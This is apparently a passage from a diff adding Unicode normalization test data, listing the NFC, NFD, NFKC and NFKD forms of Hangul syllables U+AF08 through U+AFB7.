+{ source: [0xAF08], NFC: [0xAF08], NFD: [0x1101, 0x1167, 0x11BB], NFKC: [0xAF08], NFKD: [0x1101, 0x1167, 0x11BB] },
+{ source: [0xAF09], NFC: [0xAF09], NFD: [0x1101, 0x1167, 0x11BC], NFKC: [0xAF09], NFKD: [0x1101, 0x1167, 0x11BC] },
+{ source: [0xAF0A], NFC: [0xAF0A], NFD: [0x1101, 0x1167, 0x11BD], NFKC: [0xAF0A], NFKD: [0x1101, 0x1167, 0x11BD] },
+{ source: [0xAF0B], NFC: [0xAF0B], NFD: [0x1101, 0x1167, 0x11BE], NFKC: [0xAF0B], NFKD: [0x1101, 0x1167, 0x11BE] },
+{ source: [0xAF0C], NFC: [0xAF0C], NFD: [0x1101, 0x1167, 0x11BF], NFKC: [0xAF0C], NFKD: [0x1101, 0x1167, 0x11BF] },
+{ source: [0xAF0D], NFC: [0xAF0D], NFD: [0x1101, 0x1167, 0x11C0], NFKC: [0xAF0D], NFKD: [0x1101, 0x1167, 0x11C0] },
+{ source: [0xAF0E], NFC: [0xAF0E], NFD: [0x1101, 0x1167, 0x11C1], NFKC: [0xAF0E], NFKD: [0x1101, 0x1167, 0x11C1] },
+{ source: [0xAF0F], NFC: [0xAF0F], NFD: [0x1101, 0x1167, 0x11C2], NFKC: [0xAF0F], NFKD: [0x1101, 0x1167, 0x11C2] },
+{ source: [0xAF10], NFC: [0xAF10], NFD: [0x1101, 0x1168], NFKC: [0xAF10], NFKD: [0x1101, 0x1168] },
+{ source: [0xAF11], NFC: [0xAF11], NFD: [0x1101, 0x1168, 0x11A8], NFKC: [0xAF11], NFKD: [0x1101, 0x1168, 0x11A8] },
+{ source: [0xAF12], NFC: [0xAF12], NFD: [0x1101, 0x1168, 0x11A9], NFKC: [0xAF12], NFKD: [0x1101, 0x1168, 0x11A9] },
+{ source: [0xAF13], NFC: [0xAF13], NFD: [0x1101, 0x1168, 0x11AA], NFKC: [0xAF13], NFKD: [0x1101, 0x1168, 0x11AA] },
+{ source: [0xAF14], NFC: [0xAF14], NFD: [0x1101, 0x1168, 0x11AB], NFKC: [0xAF14], NFKD: [0x1101, 0x1168, 0x11AB] },
+{ source: [0xAF15], NFC: [0xAF15], NFD: [0x1101, 0x1168, 0x11AC], NFKC: [0xAF15], NFKD: [0x1101, 0x1168, 0x11AC] },
+{ source: [0xAF16], NFC: [0xAF16], NFD: [0x1101, 0x1168, 0x11AD], NFKC: [0xAF16], NFKD: [0x1101, 0x1168, 0x11AD] },
+{ source: [0xAF17], NFC: [0xAF17], NFD: [0x1101, 0x1168, 0x11AE], NFKC: [0xAF17], NFKD: [0x1101, 0x1168, 0x11AE] },
+{ source: [0xAF18], NFC: [0xAF18], NFD: [0x1101, 0x1168, 0x11AF], NFKC: [0xAF18], NFKD: [0x1101, 0x1168, 0x11AF] },
+{ source: [0xAF19], NFC: [0xAF19], NFD: [0x1101, 0x1168, 0x11B0], NFKC: [0xAF19], NFKD: [0x1101, 0x1168, 0x11B0] },
+{ source: [0xAF1A], NFC: [0xAF1A], NFD: [0x1101, 0x1168, 0x11B1], NFKC: [0xAF1A], NFKD: [0x1101, 0x1168, 0x11B1] },
+{ source: [0xAF1B], NFC: [0xAF1B], NFD: [0x1101, 0x1168, 0x11B2], NFKC: [0xAF1B], NFKD: [0x1101, 0x1168, 0x11B2] },
+{ source: [0xAF1C], NFC: [0xAF1C], NFD: [0x1101, 0x1168, 0x11B3], NFKC: [0xAF1C], NFKD: [0x1101, 0x1168, 0x11B3] },
+{ source: [0xAF1D], NFC: [0xAF1D], NFD: [0x1101, 0x1168, 0x11B4], NFKC: [0xAF1D], NFKD: [0x1101, 0x1168, 0x11B4] },
+{ source: [0xAF1E], NFC: [0xAF1E], NFD: [0x1101, 0x1168, 0x11B5], NFKC: [0xAF1E], NFKD: [0x1101, 0x1168, 0x11B5] },
+{ source: [0xAF1F], NFC: [0xAF1F], NFD: [0x1101, 0x1168, 0x11B6], NFKC: [0xAF1F], NFKD: [0x1101, 0x1168, 0x11B6] },
+{ source: [0xAF20], NFC: [0xAF20], NFD: [0x1101, 0x1168, 0x11B7], NFKC: [0xAF20], NFKD: [0x1101, 0x1168, 0x11B7] },
+{ source: [0xAF21], NFC: [0xAF21], NFD: [0x1101, 0x1168, 0x11B8], NFKC: [0xAF21], NFKD: [0x1101, 0x1168, 0x11B8] },
+{ source: [0xAF22], NFC: [0xAF22], NFD: [0x1101, 0x1168, 0x11B9], NFKC: [0xAF22], NFKD: [0x1101, 0x1168, 0x11B9] },
+{ source: [0xAF23], NFC: [0xAF23], NFD: [0x1101, 0x1168, 0x11BA], NFKC: [0xAF23], NFKD: [0x1101, 0x1168, 0x11BA] },
+{ source: [0xAF24], NFC: [0xAF24], NFD: [0x1101, 0x1168, 0x11BB], NFKC: [0xAF24], NFKD: [0x1101, 0x1168, 0x11BB] },
+{ source: [0xAF25], NFC: [0xAF25], NFD: [0x1101, 0x1168, 0x11BC], NFKC: [0xAF25], NFKD: [0x1101, 0x1168, 0x11BC] },
+{ source: [0xAF26], NFC: [0xAF26], NFD: [0x1101, 0x1168, 0x11BD], NFKC: [0xAF26], NFKD: [0x1101, 0x1168, 0x11BD] },
+{ source: [0xAF27], NFC: [0xAF27], NFD: [0x1101, 0x1168, 0x11BE], NFKC: [0xAF27], NFKD: [0x1101, 0x1168, 0x11BE] },
+{ source: [0xAF28], NFC: [0xAF28], NFD: [0x1101, 0x1168, 0x11BF], NFKC: [0xAF28], NFKD: [0x1101, 0x1168, 0x11BF] },
+{ source: [0xAF29], NFC: [0xAF29], NFD: [0x1101, 0x1168, 0x11C0], NFKC: [0xAF29], NFKD: [0x1101, 0x1168, 0x11C0] },
+{ source: [0xAF2A], NFC: [0xAF2A], NFD: [0x1101, 0x1168, 0x11C1], NFKC: [0xAF2A], NFKD: [0x1101, 0x1168, 0x11C1] },
+{ source: [0xAF2B], NFC: [0xAF2B], NFD: [0x1101, 0x1168, 0x11C2], NFKC: [0xAF2B], NFKD: [0x1101, 0x1168, 0x11C2] },
+{ source: [0xAF2C], NFC: [0xAF2C], NFD: [0x1101, 0x1169], NFKC: [0xAF2C], NFKD: [0x1101, 0x1169] },
+{ source: [0xAF2D], NFC: [0xAF2D], NFD: [0x1101, 0x1169, 0x11A8], NFKC: [0xAF2D], NFKD: [0x1101, 0x1169, 0x11A8] },
+{ source: [0xAF2E], NFC: [0xAF2E], NFD: [0x1101, 0x1169, 0x11A9], NFKC: [0xAF2E], NFKD: [0x1101, 0x1169, 0x11A9] },
+{ source: [0xAF2F], NFC: [0xAF2F], NFD: [0x1101, 0x1169, 0x11AA], NFKC: [0xAF2F], NFKD: [0x1101, 0x1169, 0x11AA] },
+{ source: [0xAF30], NFC: [0xAF30], NFD: [0x1101, 0x1169, 0x11AB], NFKC: [0xAF30], NFKD: [0x1101, 0x1169, 0x11AB] },
+{ source: [0xAF31], NFC: [0xAF31], NFD: [0x1101, 0x1169, 0x11AC], NFKC: [0xAF31], NFKD: [0x1101, 0x1169, 0x11AC] },
+{ source: [0xAF32], NFC: [0xAF32], NFD: [0x1101, 0x1169, 0x11AD], NFKC: [0xAF32], NFKD: [0x1101, 0x1169, 0x11AD] },
+{ source: [0xAF33], NFC: [0xAF33], NFD: [0x1101, 0x1169, 0x11AE], NFKC: [0xAF33], NFKD: [0x1101, 0x1169, 0x11AE] },
+{ source: [0xAF34], NFC: [0xAF34], NFD: [0x1101, 0x1169, 0x11AF], NFKC: [0xAF34], NFKD: [0x1101, 0x1169, 0x11AF] },
+{ source: [0xAF35], NFC: [0xAF35], NFD: [0x1101, 0x1169, 0x11B0], NFKC: [0xAF35], NFKD: [0x1101, 0x1169, 0x11B0] },
+{ source: [0xAF36], NFC: [0xAF36], NFD: [0x1101, 0x1169, 0x11B1], NFKC: [0xAF36], NFKD: [0x1101, 0x1169, 0x11B1] },
+{ source: [0xAF37], NFC: [0xAF37], NFD: [0x1101, 0x1169, 0x11B2], NFKC: [0xAF37], NFKD: [0x1101, 0x1169, 0x11B2] },
+{ source: [0xAF38], NFC: [0xAF38], NFD: [0x1101, 0x1169, 0x11B3], NFKC: [0xAF38], NFKD: [0x1101, 0x1169, 0x11B3] },
+{ source: [0xAF39], NFC: [0xAF39], NFD: [0x1101, 0x1169, 0x11B4], NFKC: [0xAF39], NFKD: [0x1101, 0x1169, 0x11B4] },
+{ source: [0xAF3A], NFC: [0xAF3A], NFD: [0x1101, 0x1169, 0x11B5], NFKC: [0xAF3A], NFKD: [0x1101, 0x1169, 0x11B5] },
+{ source: [0xAF3B], NFC: [0xAF3B], NFD: [0x1101, 0x1169, 0x11B6], NFKC: [0xAF3B], NFKD: [0x1101, 0x1169, 0x11B6] },
+{ source: [0xAF3C], NFC: [0xAF3C], NFD: [0x1101, 0x1169, 0x11B7], NFKC: [0xAF3C], NFKD: [0x1101, 0x1169, 0x11B7] },
+{ source: [0xAF3D], NFC: [0xAF3D], NFD: [0x1101, 0x1169, 0x11B8], NFKC: [0xAF3D], NFKD: [0x1101, 0x1169, 0x11B8] },
+{ source: [0xAF3E], NFC: [0xAF3E], NFD: [0x1101, 0x1169, 0x11B9], NFKC: [0xAF3E], NFKD: [0x1101, 0x1169, 0x11B9] },
+{ source: [0xAF3F], NFC: [0xAF3F], NFD: [0x1101, 0x1169, 0x11BA], NFKC: [0xAF3F], NFKD: [0x1101, 0x1169, 0x11BA] },
+{ source: [0xAF40], NFC: [0xAF40], NFD: [0x1101, 0x1169, 0x11BB], NFKC: [0xAF40], NFKD: [0x1101, 0x1169, 0x11BB] },
+{ source: [0xAF41], NFC: [0xAF41], NFD: [0x1101, 0x1169, 0x11BC], NFKC: [0xAF41], NFKD: [0x1101, 0x1169, 0x11BC] },
+{ source: [0xAF42], NFC: [0xAF42], NFD: [0x1101, 0x1169, 0x11BD], NFKC: [0xAF42], NFKD: [0x1101, 0x1169, 0x11BD] },
+{ source: [0xAF43], NFC: [0xAF43], NFD: [0x1101, 0x1169, 0x11BE], NFKC: [0xAF43], NFKD: [0x1101, 0x1169, 0x11BE] },
+{ source: [0xAF44], NFC: [0xAF44], NFD: [0x1101, 0x1169, 0x11BF], NFKC: [0xAF44], NFKD: [0x1101, 0x1169, 0x11BF] },
+{ source: [0xAF45], NFC: [0xAF45], NFD: [0x1101, 0x1169, 0x11C0], NFKC: [0xAF45], NFKD: [0x1101, 0x1169, 0x11C0] },
+{ source: [0xAF46], NFC: [0xAF46], NFD: [0x1101, 0x1169, 0x11C1], NFKC: [0xAF46], NFKD: [0x1101, 0x1169, 0x11C1] },
+{ source: [0xAF47], NFC: [0xAF47], NFD: [0x1101, 0x1169, 0x11C2], NFKC: [0xAF47], NFKD: [0x1101, 0x1169, 0x11C2] },
+{ source: [0xAF48], NFC: [0xAF48], NFD: [0x1101, 0x116A], NFKC: [0xAF48], NFKD: [0x1101, 0x116A] },
+{ source: [0xAF49], NFC: [0xAF49], NFD: [0x1101, 0x116A, 0x11A8], NFKC: [0xAF49], NFKD: [0x1101, 0x116A, 0x11A8] },
+{ source: [0xAF4A], NFC: [0xAF4A], NFD: [0x1101, 0x116A, 0x11A9], NFKC: [0xAF4A], NFKD: [0x1101, 0x116A, 0x11A9] },
+{ source: [0xAF4B], NFC: [0xAF4B], NFD: [0x1101, 0x116A, 0x11AA], NFKC: [0xAF4B], NFKD: [0x1101, 0x116A, 0x11AA] },
+{ source: [0xAF4C], NFC: [0xAF4C], NFD: [0x1101, 0x116A, 0x11AB], NFKC: [0xAF4C], NFKD: [0x1101, 0x116A, 0x11AB] },
+{ source: [0xAF4D], NFC: [0xAF4D], NFD: [0x1101, 0x116A, 0x11AC], NFKC: [0xAF4D], NFKD: [0x1101, 0x116A, 0x11AC] },
+{ source: [0xAF4E], NFC: [0xAF4E], NFD: [0x1101, 0x116A, 0x11AD], NFKC: [0xAF4E], NFKD: [0x1101, 0x116A, 0x11AD] },
+{ source: [0xAF4F], NFC: [0xAF4F], NFD: [0x1101, 0x116A, 0x11AE], NFKC: [0xAF4F], NFKD: [0x1101, 0x116A, 0x11AE] },
+{ source: [0xAF50], NFC: [0xAF50], NFD: [0x1101, 0x116A, 0x11AF], NFKC: [0xAF50], NFKD: [0x1101, 0x116A, 0x11AF] },
+{ source: [0xAF51], NFC: [0xAF51], NFD: [0x1101, 0x116A, 0x11B0], NFKC: [0xAF51], NFKD: [0x1101, 0x116A, 0x11B0] },
+{ source: [0xAF52], NFC: [0xAF52], NFD: [0x1101, 0x116A, 0x11B1], NFKC: [0xAF52], NFKD: [0x1101, 0x116A, 0x11B1] },
+{ source: [0xAF53], NFC: [0xAF53], NFD: [0x1101, 0x116A, 0x11B2], NFKC: [0xAF53], NFKD: [0x1101, 0x116A, 0x11B2] },
+{ source: [0xAF54], NFC: [0xAF54], NFD: [0x1101, 0x116A, 0x11B3], NFKC: [0xAF54], NFKD: [0x1101, 0x116A, 0x11B3] },
+{ source: [0xAF55], NFC: [0xAF55], NFD: [0x1101, 0x116A, 0x11B4], NFKC: [0xAF55], NFKD: [0x1101, 0x116A, 0x11B4] },
+{ source: [0xAF56], NFC: [0xAF56], NFD: [0x1101, 0x116A, 0x11B5], NFKC: [0xAF56], NFKD: [0x1101, 0x116A, 0x11B5] },
+{ source: [0xAF57], NFC: [0xAF57], NFD: [0x1101, 0x116A, 0x11B6], NFKC: [0xAF57], NFKD: [0x1101, 0x116A, 0x11B6] },
+{ source: [0xAF58], NFC: [0xAF58], NFD: [0x1101, 0x116A, 0x11B7], NFKC: [0xAF58], NFKD: [0x1101, 0x116A, 0x11B7] },
+{ source: [0xAF59], NFC: [0xAF59], NFD: [0x1101, 0x116A, 0x11B8], NFKC: [0xAF59], NFKD: [0x1101, 0x116A, 0x11B8] },
+{ source: [0xAF5A], NFC: [0xAF5A], NFD: [0x1101, 0x116A, 0x11B9], NFKC: [0xAF5A], NFKD: [0x1101, 0x116A, 0x11B9] },
+{ source: [0xAF5B], NFC: [0xAF5B], NFD: [0x1101, 0x116A, 0x11BA], NFKC: [0xAF5B], NFKD: [0x1101, 0x116A, 0x11BA] },
+{ source: [0xAF5C], NFC: [0xAF5C], NFD: [0x1101, 0x116A, 0x11BB], NFKC: [0xAF5C], NFKD: [0x1101, 0x116A, 0x11BB] },
+{ source: [0xAF5D], NFC: [0xAF5D], NFD: [0x1101, 0x116A, 0x11BC], NFKC: [0xAF5D], NFKD: [0x1101, 0x116A, 0x11BC] },
+{ source: [0xAF5E], NFC: [0xAF5E], NFD: [0x1101, 0x116A, 0x11BD], NFKC: [0xAF5E], NFKD: [0x1101, 0x116A, 0x11BD] },
+{ source: [0xAF5F], NFC: [0xAF5F], NFD: [0x1101, 0x116A, 0x11BE], NFKC: [0xAF5F], NFKD: [0x1101, 0x116A, 0x11BE] },
+{ source: [0xAF60], NFC: [0xAF60], NFD: [0x1101, 0x116A, 0x11BF], NFKC: [0xAF60], NFKD: [0x1101, 0x116A, 0x11BF] },
+{ source: [0xAF61], NFC: [0xAF61], NFD: [0x1101, 0x116A, 0x11C0], NFKC: [0xAF61], NFKD: [0x1101, 0x116A, 0x11C0] },
+{ source: [0xAF62], NFC: [0xAF62], NFD: [0x1101, 0x116A, 0x11C1], NFKC: [0xAF62], NFKD: [0x1101, 0x116A, 0x11C1] },
+{ source: [0xAF63], NFC: [0xAF63], NFD: [0x1101, 0x116A, 0x11C2], NFKC: [0xAF63], NFKD: [0x1101, 0x116A, 0x11C2] },
+{ source: [0xAF64], NFC: [0xAF64], NFD: [0x1101, 0x116B], NFKC: [0xAF64], NFKD: [0x1101, 0x116B] },
+{ source: [0xAF65], NFC: [0xAF65], NFD: [0x1101, 0x116B, 0x11A8], NFKC: [0xAF65], NFKD: [0x1101, 0x116B, 0x11A8] },
+{ source: [0xAF66], NFC: [0xAF66], NFD: [0x1101, 0x116B, 0x11A9], NFKC: [0xAF66], NFKD: [0x1101, 0x116B, 0x11A9] },
+{ source: [0xAF67], NFC: [0xAF67], NFD: [0x1101, 0x116B, 0x11AA], NFKC: [0xAF67], NFKD: [0x1101, 0x116B, 0x11AA] },
+{ source: [0xAF68], NFC: [0xAF68], NFD: [0x1101, 0x116B, 0x11AB], NFKC: [0xAF68], NFKD: [0x1101, 0x116B, 0x11AB] },
+{ source: [0xAF69], NFC: [0xAF69], NFD: [0x1101, 0x116B, 0x11AC], NFKC: [0xAF69], NFKD: [0x1101, 0x116B, 0x11AC] },
+{ source: [0xAF6A], NFC: [0xAF6A], NFD: [0x1101, 0x116B, 0x11AD], NFKC: [0xAF6A], NFKD: [0x1101, 0x116B, 0x11AD] },
+{ source: [0xAF6B], NFC: [0xAF6B], NFD: [0x1101, 0x116B, 0x11AE], NFKC: [0xAF6B], NFKD: [0x1101, 0x116B, 0x11AE] },
+{ source: [0xAF6C], NFC: [0xAF6C], NFD: [0x1101, 0x116B, 0x11AF], NFKC: [0xAF6C], NFKD: [0x1101, 0x116B, 0x11AF] },
+{ source: [0xAF6D], NFC: [0xAF6D], NFD: [0x1101, 0x116B, 0x11B0], NFKC: [0xAF6D], NFKD: [0x1101, 0x116B, 0x11B0] },
+{ source: [0xAF6E], NFC: [0xAF6E], NFD: [0x1101, 0x116B, 0x11B1], NFKC: [0xAF6E], NFKD: [0x1101, 0x116B, 0x11B1] },
+{ source: [0xAF6F], NFC: [0xAF6F], NFD: [0x1101, 0x116B, 0x11B2], NFKC: [0xAF6F], NFKD: [0x1101, 0x116B, 0x11B2] },
+{ source: [0xAF70], NFC: [0xAF70], NFD: [0x1101, 0x116B, 0x11B3], NFKC: [0xAF70], NFKD: [0x1101, 0x116B, 0x11B3] },
+{ source: [0xAF71], NFC: [0xAF71], NFD: [0x1101, 0x116B, 0x11B4], NFKC: [0xAF71], NFKD: [0x1101, 0x116B, 0x11B4] },
+{ source: [0xAF72], NFC: [0xAF72], NFD: [0x1101, 0x116B, 0x11B5], NFKC: [0xAF72], NFKD: [0x1101, 0x116B, 0x11B5] },
+{ source: [0xAF73], NFC: [0xAF73], NFD: [0x1101, 0x116B, 0x11B6], NFKC: [0xAF73], NFKD: [0x1101, 0x116B, 0x11B6] },
+{ source: [0xAF74], NFC: [0xAF74], NFD: [0x1101, 0x116B, 0x11B7], NFKC: [0xAF74], NFKD: [0x1101, 0x116B, 0x11B7] },
+{ source: [0xAF75], NFC: [0xAF75], NFD: [0x1101, 0x116B, 0x11B8], NFKC: [0xAF75], NFKD: [0x1101, 0x116B, 0x11B8] },
+{ source: [0xAF76], NFC: [0xAF76], NFD: [0x1101, 0x116B, 0x11B9], NFKC: [0xAF76], NFKD: [0x1101, 0x116B, 0x11B9] },
+{ source: [0xAF77], NFC: [0xAF77], NFD: [0x1101, 0x116B, 0x11BA], NFKC: [0xAF77], NFKD: [0x1101, 0x116B, 0x11BA] },
+{ source: [0xAF78], NFC: [0xAF78], NFD: [0x1101, 0x116B, 0x11BB], NFKC: [0xAF78], NFKD: [0x1101, 0x116B, 0x11BB] },
+{ source: [0xAF79], NFC: [0xAF79], NFD: [0x1101, 0x116B, 0x11BC], NFKC: [0xAF79], NFKD: [0x1101, 0x116B, 0x11BC] },
+{ source: [0xAF7A], NFC: [0xAF7A], NFD: [0x1101, 0x116B, 0x11BD], NFKC: [0xAF7A], NFKD: [0x1101, 0x116B, 0x11BD] },
+{ source: [0xAF7B], NFC: [0xAF7B], NFD: [0x1101, 0x116B, 0x11BE], NFKC: [0xAF7B], NFKD: [0x1101, 0x116B, 0x11BE] },
+{ source: [0xAF7C], NFC: [0xAF7C], NFD: [0x1101, 0x116B, 0x11BF], NFKC: [0xAF7C], NFKD: [0x1101, 0x116B, 0x11BF] },
+{ source: [0xAF7D], NFC: [0xAF7D], NFD: [0x1101, 0x116B, 0x11C0], NFKC: [0xAF7D], NFKD: [0x1101, 0x116B, 0x11C0] },
+{ source: [0xAF7E], NFC: [0xAF7E], NFD: [0x1101, 0x116B, 0x11C1], NFKC: [0xAF7E], NFKD: [0x1101, 0x116B, 0x11C1] },
+{ source: [0xAF7F], NFC: [0xAF7F], NFD: [0x1101, 0x116B, 0x11C2], NFKC: [0xAF7F], NFKD: [0x1101, 0x116B, 0x11C2] },
+{ source: [0xAF80], NFC: [0xAF80], NFD: [0x1101, 0x116C], NFKC: [0xAF80], NFKD: [0x1101, 0x116C] },
+{ source: [0xAF81], NFC: [0xAF81], NFD: [0x1101, 0x116C, 0x11A8], NFKC: [0xAF81], NFKD: [0x1101, 0x116C, 0x11A8] },
+{ source: [0xAF82], NFC: [0xAF82], NFD: [0x1101, 0x116C, 0x11A9], NFKC: [0xAF82], NFKD: [0x1101, 0x116C, 0x11A9] },
+{ source: [0xAF83], NFC: [0xAF83], NFD: [0x1101, 0x116C, 0x11AA], NFKC: [0xAF83], NFKD: [0x1101, 0x116C, 0x11AA] },
+{ source: [0xAF84], NFC: [0xAF84], NFD: [0x1101, 0x116C, 0x11AB], NFKC: [0xAF84], NFKD: [0x1101, 0x116C, 0x11AB] },
+{ source: [0xAF85], NFC: [0xAF85], NFD: [0x1101, 0x116C, 0x11AC], NFKC: [0xAF85], NFKD: [0x1101, 0x116C, 0x11AC] },
+{ source: [0xAF86], NFC: [0xAF86], NFD: [0x1101, 0x116C, 0x11AD], NFKC: [0xAF86], NFKD: [0x1101, 0x116C, 0x11AD] },
+{ source: [0xAF87], NFC: [0xAF87], NFD: [0x1101, 0x116C, 0x11AE], NFKC: [0xAF87], NFKD: [0x1101, 0x116C, 0x11AE] },
+{ source: [0xAF88], NFC: [0xAF88], NFD: [0x1101, 0x116C, 0x11AF], NFKC: [0xAF88], NFKD: [0x1101, 0x116C, 0x11AF] },
+{ source: [0xAF89], NFC: [0xAF89], NFD: [0x1101, 0x116C, 0x11B0], NFKC: [0xAF89], NFKD: [0x1101, 0x116C, 0x11B0] },
+{ source: [0xAF8A], NFC: [0xAF8A], NFD: [0x1101, 0x116C, 0x11B1], NFKC: [0xAF8A], NFKD: [0x1101, 0x116C, 0x11B1] },
+{ source: [0xAF8B], NFC: [0xAF8B], NFD: [0x1101, 0x116C, 0x11B2], NFKC: [0xAF8B], NFKD: [0x1101, 0x116C, 0x11B2] },
+{ source: [0xAF8C], NFC: [0xAF8C], NFD: [0x1101, 0x116C, 0x11B3], NFKC: [0xAF8C], NFKD: [0x1101, 0x116C, 0x11B3] },
+{ source: [0xAF8D], NFC: [0xAF8D], NFD: [0x1101, 0x116C, 0x11B4], NFKC: [0xAF8D], NFKD: [0x1101, 0x116C, 0x11B4] },
+{ source: [0xAF8E], NFC: [0xAF8E], NFD: [0x1101, 0x116C, 0x11B5], NFKC: [0xAF8E], NFKD: [0x1101, 0x116C, 0x11B5] },
+{ source: [0xAF8F], NFC: [0xAF8F], NFD: [0x1101, 0x116C, 0x11B6], NFKC: [0xAF8F], NFKD: [0x1101, 0x116C, 0x11B6] },
+{ source: [0xAF90], NFC: [0xAF90], NFD: [0x1101, 0x116C, 0x11B7], NFKC: [0xAF90], NFKD: [0x1101, 0x116C, 0x11B7] },
+{ source: [0xAF91], NFC: [0xAF91], NFD: [0x1101, 0x116C, 0x11B8], NFKC: [0xAF91], NFKD: [0x1101, 0x116C, 0x11B8] },
+{ source: [0xAF92], NFC: [0xAF92], NFD: [0x1101, 0x116C, 0x11B9], NFKC: [0xAF92], NFKD: [0x1101, 0x116C, 0x11B9] },
+{ source: [0xAF93], NFC: [0xAF93], NFD: [0x1101, 0x116C, 0x11BA], NFKC: [0xAF93], NFKD: [0x1101, 0x116C, 0x11BA] },
+{ source: [0xAF94], NFC: [0xAF94], NFD: [0x1101, 0x116C, 0x11BB], NFKC: [0xAF94], NFKD: [0x1101, 0x116C, 0x11BB] },
+{ source: [0xAF95], NFC: [0xAF95], NFD: [0x1101, 0x116C, 0x11BC], NFKC: [0xAF95], NFKD: [0x1101, 0x116C, 0x11BC] },
+{ source: [0xAF96], NFC: [0xAF96], NFD: [0x1101, 0x116C, 0x11BD], NFKC: [0xAF96], NFKD: [0x1101, 0x116C, 0x11BD] },
+{ source: [0xAF97], NFC: [0xAF97], NFD: [0x1101, 0x116C, 0x11BE], NFKC: [0xAF97], NFKD: [0x1101, 0x116C, 0x11BE] },
+{ source: [0xAF98], NFC: [0xAF98], NFD: [0x1101, 0x116C, 0x11BF], NFKC: [0xAF98], NFKD: [0x1101, 0x116C, 0x11BF] },
+{ source: [0xAF99], NFC: [0xAF99], NFD: [0x1101, 0x116C, 0x11C0], NFKC: [0xAF99], NFKD: [0x1101, 0x116C, 0x11C0] },
+{ source: [0xAF9A], NFC: [0xAF9A], NFD: [0x1101, 0x116C, 0x11C1], NFKC: [0xAF9A], NFKD: [0x1101, 0x116C, 0x11C1] },
+{ source: [0xAF9B], NFC: [0xAF9B], NFD: [0x1101, 0x116C, 0x11C2], NFKC: [0xAF9B], NFKD: [0x1101, 0x116C, 0x11C2] },
+{ source: [0xAF9C], NFC: [0xAF9C], NFD: [0x1101, 0x116D], NFKC: [0xAF9C], NFKD: [0x1101, 0x116D] },
+{ source: [0xAF9D], NFC: [0xAF9D], NFD: [0x1101, 0x116D, 0x11A8], NFKC: [0xAF9D], NFKD: [0x1101, 0x116D, 0x11A8] },
+{ source: [0xAF9E], NFC: [0xAF9E], NFD: [0x1101, 0x116D, 0x11A9], NFKC: [0xAF9E], NFKD: [0x1101, 0x116D, 0x11A9] },
+{ source: [0xAF9F], NFC: [0xAF9F], NFD: [0x1101, 0x116D, 0x11AA], NFKC: [0xAF9F], NFKD: [0x1101, 0x116D, 0x11AA] },
+{ source: [0xAFA0], NFC: [0xAFA0], NFD: [0x1101, 0x116D, 0x11AB], NFKC: [0xAFA0], NFKD: [0x1101, 0x116D, 0x11AB] },
+{ source: [0xAFA1], NFC: [0xAFA1], NFD: [0x1101, 0x116D, 0x11AC], NFKC: [0xAFA1], NFKD: [0x1101, 0x116D, 0x11AC] },
+{ source: [0xAFA2], NFC: [0xAFA2], NFD: [0x1101, 0x116D, 0x11AD], NFKC: [0xAFA2], NFKD: [0x1101, 0x116D, 0x11AD] },
+{ source: [0xAFA3], NFC: [0xAFA3], NFD: [0x1101, 0x116D, 0x11AE], NFKC: [0xAFA3], NFKD: [0x1101, 0x116D, 0x11AE] },
+{ source: [0xAFA4], NFC: [0xAFA4], NFD: [0x1101, 0x116D, 0x11AF], NFKC: [0xAFA4], NFKD: [0x1101, 0x116D, 0x11AF] },
+{ source: [0xAFA5], NFC: [0xAFA5], NFD: [0x1101, 0x116D, 0x11B0], NFKC: [0xAFA5], NFKD: [0x1101, 0x116D, 0x11B0] },
+{ source: [0xAFA6], NFC: [0xAFA6], NFD: [0x1101, 0x116D, 0x11B1], NFKC: [0xAFA6], NFKD: [0x1101, 0x116D, 0x11B1] },
+{ source: [0xAFA7], NFC: [0xAFA7], NFD: [0x1101, 0x116D, 0x11B2], NFKC: [0xAFA7], NFKD: [0x1101, 0x116D, 0x11B2] },
+{ source: [0xAFA8], NFC: [0xAFA8], NFD: [0x1101, 0x116D, 0x11B3], NFKC: [0xAFA8], NFKD: [0x1101, 0x116D, 0x11B3] },
+{ source: [0xAFA9], NFC: [0xAFA9], NFD: [0x1101, 0x116D, 0x11B4], NFKC: [0xAFA9], NFKD: [0x1101, 0x116D, 0x11B4] },
+{ source: [0xAFAA], NFC: [0xAFAA], NFD: [0x1101, 0x116D, 0x11B5], NFKC: [0xAFAA], NFKD: [0x1101, 0x116D, 0x11B5] },
+{ source: [0xAFAB], NFC: [0xAFAB], NFD: [0x1101, 0x116D, 0x11B6], NFKC: [0xAFAB], NFKD: [0x1101, 0x116D, 0x11B6] },
+{ source: [0xAFAC], NFC: [0xAFAC], NFD: [0x1101, 0x116D, 0x11B7], NFKC: [0xAFAC], NFKD: [0x1101, 0x116D, 0x11B7] },
+{ source: [0xAFAD], NFC: [0xAFAD], NFD: [0x1101, 0x116D, 0x11B8], NFKC: [0xAFAD], NFKD: [0x1101, 0x116D, 0x11B8] },
+{ source: [0xAFAE], NFC: [0xAFAE], NFD: [0x1101, 0x116D, 0x11B9], NFKC: [0xAFAE], NFKD: [0x1101, 0x116D, 0x11B9] },
+{ source: [0xAFAF], NFC: [0xAFAF], NFD: [0x1101, 0x116D, 0x11BA], NFKC: [0xAFAF], NFKD: [0x1101, 0x116D, 0x11BA] },
+{ source: [0xAFB0], NFC: [0xAFB0], NFD: [0x1101, 0x116D, 0x11BB], NFKC: [0xAFB0], NFKD: [0x1101, 0x116D, 0x11BB] },
+{ source: [0xAFB1], NFC: [0xAFB1], NFD: [0x1101, 0x116D, 0x11BC], NFKC: [0xAFB1], NFKD: [0x1101, 0x116D, 0x11BC] },
+{ source: [0xAFB2], NFC: [0xAFB2], NFD: [0x1101, 0x116D, 0x11BD], NFKC: [0xAFB2], NFKD: [0x1101, 0x116D, 0x11BD] },
+{ source: [0xAFB3], NFC: [0xAFB3], NFD: [0x1101, 0x116D, 0x11BE], NFKC: [0xAFB3], NFKD: [0x1101, 0x116D, 0x11BE] },
+{ source: [0xAFB4], NFC: [0xAFB4], NFD: [0x1101, 0x116D, 0x11BF], NFKC: [0xAFB4], NFKD: [0x1101, 0x116D, 0x11BF] },
+{ source: [0xAFB5], NFC: [0xAFB5], NFD: [0x1101, 0x116D, 0x11C0], NFKC: [0xAFB5], NFKD: [0x1101, 0x116D, 0x11C0] },
+{ source: [0xAFB6], NFC: [0xAFB6], NFD: [0x1101, 0x116D, 0x11C1], NFKC: [0xAFB6], NFKD: [0x1101, 0x116D, 0x11C1] },
+{ source: [0xAFB7], NFC: [0xAFB7], NFD: [0x1101, 0x116D, 0x11C2], NFKC: [0xAFB7], NFKD: [0x1101, 0x116D, 0x11C2] },
